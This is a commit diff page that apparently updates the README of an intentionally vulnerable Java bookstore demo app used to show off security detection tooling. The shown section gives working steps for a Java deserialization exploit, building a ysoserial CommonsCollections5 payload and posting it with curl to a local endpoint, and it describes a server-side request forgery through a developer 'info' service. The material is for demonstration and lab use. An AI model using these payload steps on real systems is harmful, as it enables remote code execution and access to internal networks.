You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
To detect the vulnerabilities, start the apps with Contrast enabled as described above. Then use the services to exercise the code. It should not be necessary to exploit the vulnerabilities, in order for Contrast to identify the vulnerabilities.
70
81
71
82
## Exploiting the Vulnerabilities
72
83
@@ -92,16 +103,22 @@ type.
92
103
93
104
To exploit this, we must first make an exploit that creates a file in `/tmp` as a proof-of-concept:
94
105
```
95
-
$ git clone ysoserial
96
-
$ docker run ysoserial-bookstore CommonsCollections5 'touch /tmp/hacked' > commonscollections5.ser
106
+
$ git clone https://github.com/frohoff/ysoserial
107
+
$ cd ysoserial
108
+
$ docker build -t ysoserial .
109
+
$ docker run --rm ysoserial CommonsCollections5 '/usr/bin/touch /tmp/hacked' > commonscollections5.ser
97
110
```
98
111
99
112
Now you can send the exploit generated in the `commonscollections5.ser` file:
$ curl -X POST -H "Content-Type: application/octet-stream" --data-binary "@commonscollections5.ser" http://localhost:8001/update
102
115
```
103
116
104
-
To prove that we created this `/tmp/hacked` file, we must shell into the running container. Let's get the ID:
117
+
To prove that we created this `/tmp/hacked` file, we must shell into the running container.
118
+
119
+
If you started with docker-compose, the container ID is something like java-microservice-sample-apps_bookstore-datamanager_1.
120
+
121
+
If you ran the containers manually, you can start with the ID:
105
122
```
106
123
$ docker ps
107
124
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
@@ -110,16 +127,19 @@ CONTAINER ID IMAGE COMMAND CREATED
110
127
111
128
Now, using that container ID, we shell into the container and confirm the exploit created the `/tmp/hacked` file:
112
129
```
113
-
$ docker exec -it 3729e1f30284 bash
114
-
\# ls -al /tmp
130
+
$ docker exec -it java-microservice-sample-apps_bookstore-datamanager_1 ls -al /tmp/hacked
115
131
...
116
-
*/tmp/hacked*
132
+
-rw-r--r-- 1 root root 0 <time> /tmp/hacked
117
133
```
118
134
119
-
### Same-Site Request Forgery (SSRF)
120
-
The `bookstore-frontend` exposes a "info" service, only intended for developers. It is intended to be used to rertieve data about diffferent developer environments, but it can be used to force the app to retrieve data from other URLs:
135
+
### Server Side Request Forgery (SSRF)
136
+
The `bookstore-frontend` exposes a "info" service, only intended for developers. It is intended to be used to rertieve data about different developer environments, but it can be used to force the app to retrieve data from other URLs:
Obviously in this case we ask the server to retrieve Google content, but it could as easily be pointed towards URLs typically only accessed within your perimeter.
141
+
Obviously in this case we ask the server to retrieve Google content, but it could as easily be pointed towards URLs typically only accessed within your perimeter.
0 commit comments